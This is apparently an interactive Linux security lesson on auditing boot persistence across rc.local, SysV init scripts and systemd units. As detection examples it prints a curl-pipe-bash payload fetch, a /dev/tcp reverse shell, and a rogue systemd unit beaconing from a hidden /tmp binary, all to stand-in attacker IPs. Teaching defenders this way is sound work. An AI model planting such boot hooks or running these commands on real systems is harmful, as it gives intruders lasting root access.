Startup Scripts: Boot Persistence

Intermediate30 min6 steps

What you'll learn

Explain why the boot sequence is prime real estate for an attacker who wants to survive reboots
Inspect /etc/rc.local and spot a malicious one-shot boot hook
Enumerate SysV init scripts and the rc[0-6].d runlevel symlinks that still run on modern boxes
Find a rogue systemd .service enabled to start at boot — and tie it back to the enable/symlink idea
Audit ALL boot-persistence locations as a set, because attackers plant several at once

Why attackers target the boot sequence
Frame boot persistence: anything that runs at boot runs again after every reboot.
An attacker's worst enemy is a reboot. Patches get applied, memory-only implants vanish, a sloppy backdoor dies. So the very first thing a competent intruder does after landing on a box is arrange to come back automatically — and the cleanest place to wire that in is the boot sequence itself.
Think of the machine as a building with automatic timers wired into the electrical panel. Every morning when the power comes on, those timers switch certain gear back on with no one present. An attacker who can add one wire to that panel doesn't need to break in again — the building turns their equipment on for them, every single day. Boot persistence is exactly that wire.
There are three classic panels to inspect on a Linux box, oldest to newest:
- `/etc/rc.local` — the one-shot script that runs once at the very end of boot.
- SysV init — /etc/init.d/ scripts wired into boot by symlinks under /etc/rc[0-6].d/.
- systemd units — a .service enabled to start at a boot target (the modern mechanism).
Why it matters
Persistence is what turns a one-time foothold into a long-term problem. You can kill the attacker's running process all day; if a boot hook re-launches it on the next restart, you've fixed nothing. Knowing every place code can be wired into boot is the difference between evicting an intruder and just annoying them.
/etc/rc.local — the classic one-shot hook
Check whether rc.local exists and is active, and recognize a malicious line.
/etc/rc.local is the oldest trick in the book: a plain shell script that the system runs once, at the very end of boot, after the normal services are up. For decades it was the sanctioned place to drop "run this one thing at startup" commands, which is exactly why attackers love it — a single appended line executes as root on every boot.
Most modern distros ship it absent or empty. That makes it easy to audit: anything substantive inside /etc/rc.local deserves a hard look.
Example — not runnable on your lab box
```
$ cat /etc/rc.local
```
```
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.

curl -s http://198.51.100.23/p.sh | bash

exit 0
```
The boilerplate header is normal. The line that matters is `curl -s http://198.51.100.23/p.sh | bash` — it silently (-s) downloads a script from an attacker-controlled host and pipes it straight into bash as root, on every boot. A legitimate rc.local does not phone out to a raw IP and execute whatever comes back. This is a textbook curl-pipe-bash boot hook.
Existence isn't enough — it has to run
On systemd boxes /etc/rc.local only runs if it's executable and the rc-local compatibility unit picks it up. Confirm both: ls -l /etc/rc.local (look for the x bits) and systemctl status rc-local. An attacker who plants the file will also chmod +x it — so a non-executable rc.local is usually inert, but never assume; check.
```
$ ls -l /etc/rc.local; systemctl is-enabled rc-local 2>/dev/null
```
```
-rwxr-xr-x 1 root root 412 Jun 20 02:14 /etc/rc.local
enabled
```
The x bits in -rwxr-xr-x mean the file will execute, and rc-local reporting enabled confirms systemd will invoke it at boot. Note the modification time, Jun 20 02:14 — an off-hours change to a file that's normally untouched for years is itself a flag worth correlating with other logs.
Check yourself
What single property, besides containing a malicious command, must /etc/rc.local have for that command to actually run at boot on a systemd system?
SysV init scripts and the rc[0-6].d symlinks
Enumerate legacy init.d scripts and the runlevel symlink dirs that wire them into boot.
Before systemd, boot was driven by SysV init. The actual scripts live in `/etc/init.d/`, and which ones run is decided by symlinks in the per-runlevel directories /etc/rc0.d/ through /etc/rc6.d/. A symlink starting with `S` means start this script when entering that runlevel; K means kill it. Runlevel 3 (multi-user, networking) and 5 (graphical) are the ones that matter for a server.
This is legacy, but it is not gone — most distros keep the SysV compatibility layer, and systemd happily runs these scripts too. So an attacker can drop a script in /etc/init.d/ and an S-symlink in /etc/rc3.d/, and it boots — on a box where the defender only ever looks at systemd.
The symlink-decides-boot idea here is the direct ancestor of the systemd *.wants/ symlink you met in the systemctl lesson. Same concept, older plumbing.
```
$ ls -la /etc/rc3.d/
```
```
total 8
drwxr-xr-x  2 root root 4096 Jun 20 02:15 .
drwxr-xr-x 88 root root 4096 May 02 09:10 ..
lrwxrwxrwx  1 root root   17 May 02 09:10 S01rsyslog -> ../init.d/rsyslog
lrwxrwxrwx  1 root root   14 May 02 09:10 S01cron -> ../init.d/cron
lrwxrwxrwx  1 root root   20 Jun 20 02:15 S99netcheck -> ../init.d/netcheck
```
-l
Long listing — shows the symlink arrow (->) and its target, which is the whole point here.
-a
Include dotfiles and the . / .. entries; an attacker could also hide a script behind a leading dot.
rsyslog and cron are expected. `S99netcheck -> ../init.d/netcheck` is the suspect: the S prefix means it starts at boot, 99 runs it last (after everything else is up), the name is bland-but-vague, and its timestamp matches the rc.local tampering from the previous step. The arrow points at the real script in /etc/init.d/, which is where you'd read it next.
Example — not runnable on your lab box
```
$ cat /etc/init.d/netcheck
```
```
#!/bin/sh
### BEGIN INIT INFO
# Provides:          netcheck
# Required-Start:    $network
# Default-Start:     2 3 4 5
### END INIT INFO

nohup /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.45/4444 0>&1' &
exit 0
```
The init-script header is camouflage. The payload is the classic reverse shell: bash -i >& /dev/tcp/203.0.113.45/4444 0>&1 opens an interactive shell and redirects it over TCP to the attacker's host 203.0.113.45 on port 4444. nohup ... & detaches it so boot continues normally. Default-Start: 2 3 4 5 is why you found its S-symlink in rc3.d/. Every boot dials the attacker back.
One command to list the SysV picture
ls -l /etc/rc*.d/S* across all runlevels shows every start-symlink at once, and grep -rl tcp /etc/init.d/ 2>/dev/null quickly flags scripts that open raw sockets. Reading /etc/init.d/ scripts directly beats trusting a service name — the name is whatever the attacker typed.
Check yourself
A symlink in /etc/rc3.d/ is named S99netcheck. What does the leading 'S' signify?
systemd — the modern boot persistence
Find a rogue .service enabled at a boot target and read its ExecStart.
On any current Linux box, systemd is the real boot manager, so it's the persistence mechanism a modern attacker reaches for first. The move is simple: drop a .service unit file, then enable it so it starts at boot.
Recall from the systemctl lesson that enable doesn't run a service immediately — it writes a symlink into a target's .wants/ directory (for example multi-user.target.wants/). At boot, systemd reaches multi-user.target and starts everything linked there. An attacker's rogue unit with `WantedBy=multi-user.target`, once enabled, gets exactly that symlink — the same wiring a legitimate service uses, which is what makes it blend in.
The tells are location and `ExecStart`: a unit in an odd path, or one whose ExecStart points at /tmp or a hidden directory, is not a real service.
```
$ systemctl list-unit-files --state=enabled --type=service
```
```
UNIT FILE                  STATE    PRESET
cron.service               enabled  enabled
nginx.service              enabled  disabled
ssh.service                enabled  enabled
systemd-timesyncd.service  enabled  enabled
sysupdate.service          enabled  disabled

5 unit files listed.
```
list-unit-files
List installed unit files and their install (boot) state — the disk-level enable/disable, not the live runtime state.
--state=enabled
Show only units set to start at boot — the exact set that matters for persistence.
--type=service
Limit to service units, filtering out timers, sockets, mounts, and other unit types.
Four of these are ordinary. `sysupdate.service` is the odd one — a plausible, official-sounding name that isn't a real package on this system, and its PRESET is disabled (the distro default is off) yet someone set its STATE to enabled. A name designed to be skimmed past, enabled against the preset, is the cue to open the unit file itself.
```
$ systemctl cat sysupdate.service
```
```
# /etc/systemd/system/sysupdate.service
[Unit]
Description=System Update Helper
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.sysupdate/agent --beacon 198.51.100.77:8443
Restart=always

[Install]
WantedBy=multi-user.target
```
systemctl cat prints the unit's source and its path on disk (the top comment). Two findings: `ExecStart=/tmp/.sysupdate/agent` — no legitimate service runs its binary from a hidden directory under /tmp — and `WantedBy=multi-user.target`, which is what put the boot symlink in place when it was enabled. Restart=always means systemd will relaunch it even if you just kill the process. This is the modern equivalent of the rc.local and init.d hooks: same goal, systemd plumbing.
Why it matters
ExecStart is the systemd equivalent of reading the rc.local line or the init.d script — it's the actual code that runs. Pair it with the unit's location: real units live under /usr/lib/systemd/system/ (shipped by packages); a unit hand-dropped in /etc/systemd/system/ with an ExecStart into /tmp is almost always hostile. Always read the unit, never trust the description string.
Check yourself
Which directive in a rogue systemd unit causes 'enable' to create the boot symlink that makes it start at boot?
The auditing mindset — enumerate them all
Treat boot persistence as a checklist of locations, because attackers plant several.
Here is the mistake that lets attackers win: you find the rogue systemd unit, disable it, and declare victory — while the init.d reverse shell and the rc.local curl-pipe-bash are still in place, ready to re-establish access on the next reboot. A patient attacker plants several hooks precisely so that removing one leaves another.
So boot-persistence auditing is not "find a bad thing." It's enumerate every location, every time, and treat each as independent. Three panels to walk, in order:
- rc.local — cat /etc/rc.local and confirm whether it's executable / enabled.
- SysV — list /etc/rc[0-6].d/S* symlinks and read the /etc/init.d/ scripts they point to.
- systemd — list enabled .service units and systemctl cat anything unfamiliar.
When they're clean as a set, you've actually evicted the attacker — not before.
Checking one panel and stopping
The two classic failures: (1) auditing /etc/rc.local but never looking at systemd unit files, so the modern hook survives; and (2) finding one persistence mechanism and assuming it's the only one. Both leave a live boot hook. Always finish the whole checklist before calling a box clean — finding one bad hook makes the others more likely, not less.
Try it in your live terminal
Run the read-only audit yourself on the real sandbox to your right.
You have a real root shell. These commands are read-only — they inspect, they don't change anything — so they're safe to run on any box you're auditing. Walk all three panels in order; the box may be perfectly clean, the point is to make the sweep reflexive.
```
$ cat /etc/rc.local 2>/dev/null; ls -l /etc/rc.local 2>/dev/null
```
Panel 1 — rc.local. Read its contents and confirm whether it exists and is executable. 2>/dev/null quietly swallows the error if the file is absent (which is the common, healthy case).
```
$ ls -la /etc/rc3.d/
```
Panel 2 — SysV. List the runlevel-3 start symlinks; any S-prefixed link points at an /etc/init.d/ script that runs at boot. cat the target of anything you don't recognize.
```
$ systemctl list-unit-files --state=enabled --type=service
```
Panel 3 — systemd. Every service set to start at boot. For each unfamiliar name, run systemctl cat <name> and check its ExecStart and on-disk path.
```
$ systemctl cat rc-local 2>/dev/null
```
Cross-check: shows the compatibility unit that actually runs /etc/rc.local. If this is absent or inactive, an rc.local on disk may never fire — which is why you check both the file and the unit, never just one.

Recap

A reboot is the attacker's enemy, so they wire code into the boot sequence to return automatically — like an automatic timer in the building's electrical panel.
There are three panels to check: /etc/rc.local (one-shot), SysV /etc/init.d/ + /etc/rc[0-6].d/ symlinks (legacy but live), and systemd enabled .service units (modern).
Read the actual code — the rc.local line, the init.d script, the unit's ExecStart — and check location; never trust a service's name or description.
Enumerate EVERY location every time: attackers plant several hooks so removing one leaves another. A box is clean only when all three panels are clean as a set.

Boot-persistence mechanisms → where they live → how to check
Mechanism	Where it lives	How to check
rc.local one-shot	`/etc/rc.local` (run by the `rc-local` unit)	`cat /etc/rc.local`; `ls -l` for the `x` bits; `systemctl status rc-local`
SysV init script	`/etc/init.d/` script + `S`-symlink in `/etc/rc[0-6].d/`	`ls -l /etc/rc3.d/S*`, then `cat` the `/etc/init.d/` target
systemd service unit	`.service` file (`/etc/systemd/system/`), enabled into a target's `.wants/`	`systemctl list-unit-files --state=enabled --type=service`, then `systemctl cat <unit>`
The audit itself	All of the above, together	Walk every panel each time — one bad hook makes others more likely

Startup Scripts: Boot Persistence

Why attackers target the boot sequence

/etc/rc.local — the classic one-shot hook

SysV init scripts and the rc[0-6].d symlinks

systemd — the modern boot persistence

The auditing mindset — enumerate them all

Try it in your live terminal